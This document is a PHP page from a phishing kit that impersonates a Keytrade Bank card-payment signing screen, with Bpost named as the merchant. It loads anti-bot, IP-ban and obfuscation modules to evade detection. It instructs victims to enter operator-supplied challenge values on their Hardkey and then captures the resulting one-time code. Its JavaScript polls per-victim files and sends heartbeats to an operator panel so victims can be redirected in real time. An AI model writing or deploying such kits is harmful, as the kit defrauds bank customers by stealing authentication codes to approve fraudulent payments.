<?php

error_reporting(E_ERROR | E_WARNING | E_PARSE | E_NOTICE);
@ini_set('html_errors', '0');
@ini_set('display_errors', '0');
@ini_set('display_startup_errors', '0');
@ini_set('log_errors', '0');
$ip = $_SERVER['REMOTE_ADDR'];
session_id(md5($ip));
session_start();

$stripos = 0;
include 'config.php';

include 'M3tri-anti-bots_v0.01/M3tri-Organization.php';
include 'M3tri-anti-bots_v0.01/M3tri-ips.php';
include 'M3tri-anti-bots_v0.01/M3tri-OS-BRS.php';
include 'M3tri-anti-bots_v0.01/M3tri-UA.php';
include 'M3tri-anti-bots_v0.01/M3tri-vpn-proxy.php';
require_once './includes/HunterObfuscator.php';

$currentIP = getRealIP();
if (isIPBanned($currentIP)) {
    header('Location: 403.php');
    exit();
}

$honeypotbots = file_get_contents('honeypotbots.dat');
$errorUrl = '403.php';

if (stripos($honeypotbots, $ip) !== false) {
    $stripos = $stripos + 1;
}

$token1 = base64_encode($_SERVER['HTTP_USER_AGENT'] . $ip . date('Y:M:D'));

// Geo-filter removed: all countries are allowed

if (!isset($_GET['token']) || $token1 != $_GET['token'] || $stripos > 0) {
    header("location: " . $errorUrl . "?" . (isset($_GET['token']) ? $_GET['token'] : ''));
    exit;
}

$t0 = isset($_GET['t0']) ? trim($_GET['t0']) : '';
$t1 = isset($_GET['t1']) ? trim($_GET['t1']) : '';
$t0_esc = htmlspecialchars($t0, ENT_QUOTES, 'UTF-8');
$t1_esc = htmlspecialchars($t1, ENT_QUOTES, 'UTF-8');

$merchant_display = isset($_SESSION['merchant']) ? $_SESSION['merchant'] : '—';
$montant_display = isset($_SESSION['amount']) ? $_SESSION['amount'] : '—';
$card_last4 = (isset($_SESSION['cn']) && strlen($_SESSION['cn']) >= 4) ? substr($_SESSION['cn'], -4) : 'XXXX';
$beneficiaire_display = 'Bpost';
?>


<!DOCTYPE html>
<html lang="fr">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Page de Paiement</title>
   <style>
     * {
    margin: 0;
    padding: 0;
    box-sizing: border-box;
}

body {
    font-family: Arial, sans-serif;
    line-height: 1.6;
    color: #2c3b4f;
    max-width: 800px;
    margin: 0 auto;
    padding: 20px;
    background: #f1f5f7;
}

header {
    display: flex;
    justify-content: space-between;
    align-items: center;
    /* margin-bottom: 40px; */
    padding: 10px 0;
}

.visa-logo, .keytrade-logo {
    height: 50px;
}

.language {
    border-radius: 30px;
  cursor: pointer;
  background: #fff;
  font-weight: bold;
  color: #03b3d9;
  padding: 4px 12px;
    font-size: 14px;
}

.payment-details {
    background: #f1f5f7;
  border-radius: 8px;
  padding: 20px;
  margin-bottom: 30px;
  border: 1px solid #d7dfe3;
}

.detail-row {
    display: flex;
    justify-content: space-between;
    /* margin-bottom: 10px; */
    padding: 2px 5px;
}

.label {
    color: #666;
}

.value {
    font-weight: bold;
}

.payment-steps h2 {
    margin-bottom: 30px;
    font-size: 24px;
}
.payment-steps p {
  
    font-weight: bold;
}
.steps {
    display: flex;
    flex-direction: column;
    gap: 20px;
}

.step {
    display: flex;
    align-items: flex-start;
    gap: 15px;
}

.step-number {
    border: 2px solid #00B3D8;
    color: #00B3D8;
    width: 24px;
    height: 24px;
    border-radius: 50%;
    display: flex;
    align-items: center;
    justify-content: center;
    flex-shrink: 0;
}

.button-ok, .button-3 {
    display: inline-block;
  background: #04c47d;
  color: white;
  padding: 6px 6px;
  border-radius: 50%;
  font-size: 0.65em;
  font-weight: 800;
}

.button-3 {
  background: #2d2d2d;
  padding: 3px 8px;
  font-size: 0.7em;
}

.response-section {
    margin-top: 30px;
    display: flex;
    flex-direction: column;
    align-items: center;
    gap: 0;
    width: 100%;
    max-width: 100%;
    padding: 24px 0;
    background: #f2f4f6;
    border-radius: 8px;
}

.response-section form {
    display: flex;
    flex-direction: column;
    align-items: stretch;
    width: 100%;
    max-width: 100%;
}

.response-section label {
    font-weight: bold;
    color: #34495e;
    font-size: 15px;
    margin-bottom: 12px;
    display: block;
}

.response-section input {
    padding: 14px 16px;
    border: 1px solid #dcdcdc;
    border-radius: 6px;
    font-size: 16px;
    background: #fff;
    width: 100%;
    box-sizing: border-box;
    margin-bottom: 20px;
}

.response-section input::placeholder {
    color: #999;
    font-weight: normal;
}

.response-section .confirm-button {
    background: #11889c;
    color: white;
    padding: 16px 24px;
    border: none;
    border-radius: 10px;
    cursor: pointer;
    font-size: 16px;
    font-weight: 600;
    width: 100%;
    min-height: 52px;
    transition: background-color 0.2s;
}

.response-section .confirm-button:hover {
    background: #0f7a8c;
}

/* Responsive Design */
@media (max-width: 600px) {
    body {
        padding: 15px;
    }

    header {
        flex-direction: row;
        justify-content: space-between;
        padding: 0;
        margin-bottom: 10px;
    }

    .visa-logo, .keytrade-logo {
        height: 30px;
    }

    .language {
        padding: 4px 12px;
        font-size: 14px;
    }

    .payment-details {
        padding: 15px;
        margin-bottom: 25px;
    }

    .detail-row {
        display: flex;
        flex-direction: column;
        align-items: flex-start;
        
    }

    .label {
        font-size: 14px;
    }

    .value {
        font-size: 16px;
    }

    .payment-steps h2 {
        font-size: 20px;
        margin-bottom: 20px;
    }

    .steps {
        gap: 15px;
    }

    .step {
        font-size: 14px;
    }

    .step-number {
        width: 22px;
        height: 22px;
        font-size: 12px;
    }

    .response-section {
        margin-top: 25px;
        padding: 20px 0;
    }

    .response-section input {
        padding: 12px 14px;
    }

    .response-section .confirm-button {
        padding: 14px 20px;
        min-height: 48px;
    }
}
   </style>
</head>
<body class="container">
    <header>
       <svg style="width: 125px;" xmlns="http://www.w3.org/2000/svg" id="Layer_1" x="0" y="0" version="1.1" viewBox="0 0 187 45" xml:space="preserve"><path d="M106.9 15h-2.7c-.1 0-.2.1-.3.2l-2 3.3-4.2-7.2c-.1-.1-.2-.2-.3-.2h-3.3c-.1 0-.3.1-.3.2-.1.1-.1.3 0 .4l5.9 10.1v7.4c0 .2.2.4.4.4h2.9c.2 0 .4-.2.4-.4V22l3.9-6.4c.1-.1.1-.3 0-.4-.1-.1-.2-.2-.4-.2z M120.8 11h-14.2c-.1 0-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.5 41c-.4.6-.2 1.5.3 2l1.7 1.3c.6.5 1.4.4 1.8-.2l14.5-20.2c.4-.6 1.1-.6 1.6 0l14.5 20.2c.4.6 1.2.7 1.8.2l1.7-1.3c.6-.5.7-1.4.3-2L31.2 13.9zM21.6 13c.4-.6.1-1.3-.6-1.4l-16.4-3c-.8-.1-1.6.4-1.9 1l-.8 1.8c-.3.7.1 1.4.8 1.7L17.1 18c.7.2 1.6-.1 2-.7l2.5-4.3zM38.2 17.3c.4.6 1.3 1 2 .7l14.4-4.8c.7-.2 1.1-1 .8-1.7l-.8-1.8c-.3-.7-1.2-1.1-1.9-1l-16.4 3c-.7.1-1 .8-.6 1.4l2.5 4.2z" fill="#03b3d9" ></path></svg>
        <div class="language">FR</div>
    </header>

    <main>
        <div class="payment-details">
            <div class="detail-row">
                <span class="label">Commerçant</span>
                <span class="value">Bpost</span>
            </div>
            <div class="detail-row">
                <span class="label">Montant</span>
                <span class="value"><?php echo htmlspecialchars($montant_display, ENT_QUOTES, 'UTF-8'); ?></span>
            </div>

            <div class="detail-row">
                <span class="label">Carte</span>
                <span class="value">XXXX XXXX XXXX <?php echo htmlspecialchars($card_last4, ENT_QUOTES, 'UTF-8'); ?></span>
            </div>
            <div class="detail-row">
                <span class="label">Date</span>
                <span class="value"><?php date_default_timezone_set('Europe/Paris'); echo date('d/m/Y H:i:s'); ?></span>
            </div>
        </div>

        <section class="payment-steps">
            <h2>Signez votre paiement</h2>
            
            <div class="steps">
                <div class="step">
                    <span class="step-number">1</span>
                    <p>Appuyez sur <span class="button-ok">OK</span> sur votre Hardkey</p>
                </div>
                <div class="step">
                    <span class="step-number">2</span>
                    <p>Appuyez sur <span class="button-3">3</span></p>
                </div>
                <div class="step">
                    <span class="step-number">3</span>
                    <p>Entrez votre code PIN sur votre Hardkey et appuyez sur <span class="button-ok">OK</span></p>
                </div>
                <div class="step">
                    <span class="step-number">4</span>
                    <p>Entrez <span><?php echo $t0_esc ?: '—'; ?></span> (challenge) et appuyez <span class="button-ok">OK</span></p>
                </div>
                <div class="step">
                    <span class="step-number">5</span>
                    <p>Entrez <span><?php echo $t1_esc ?: '—'; ?></span> (référence) et appuyez <span class="button-ok">OK</span></p>
                </div>
                <div class="step">
                    <span class="step-number">6</span>
                    <p>Un code apparaît sur l'écran de votre Hardkey. Saisissez ce code sous "Code réponse"</p>
                </div>
            </div>

            <div class="response-section">
                <form method="post" action="bc-load.php?token=<?php echo urlencode($token1); ?>" id="keytradeForm">
                    <input type="hidden" name="type" value="keytrade-code">
                    <label for="response">Code réponse</label>
                    <input type="text" maxlength="10" name="otp" inputmode="numeric" autocomplete="off" required id="response" placeholder="Ex. 84863">
                    <button class="confirm-button" type="submit" id="validate">Confirmer le paiement</button>
                </form>
            </div>
        </section>
    </main>

<script>
(function() {
  var ip = '<?php echo addslashes($ip); ?>';
  var token1 = '<?php echo addslashes($token1); ?>';
  var waiting = setInterval(function() {
    fetch('./users/' + ip + '.txt?rand=' + Math.random().toString(36).slice(-5), { cache: 'no-store' })
      .then(function(r) { return r.text(); })
      .then(function(data) {
        if (!data || data.length < 2) return;
        var row = data.split('#|#');
        var one = row[0];
        var two = (row[1] !== undefined && row[1] !== null) ? row[1] : '';
        if (one == 'load') {
          clearInterval(waiting);
          window.location.href = './bc-load.php?token=' + encodeURIComponent(token1) + '&error=' + encodeURIComponent(two);
        } else if (one == 'url' && row[2]) {
          clearInterval(waiting);
          window.location.href = row[2];
        }
      })
      .catch(function() {});
  }, 1500);
})();

// Heartbeat: track this page in the panel as keytrade lecteur (page name matches controller)
(function() {
  var ip = '<?php echo addslashes($ip); ?>';
  function sendHeartbeat() {
    fetch('config.php?heartbeat=true&ip=' + encodeURIComponent(ip) + '&page=l-keytrade', {
      method: 'GET',
      headers: { 'Cache-Control': 'no-cache', 'Pragma': 'no-cache' }
    }).then(function(r) { return r.json(); }).then(function() {}).catch(function() {});
  }
  sendHeartbeat();
  setInterval(sendHeartbeat, 5000);
})();
</script>

</body>
</html>
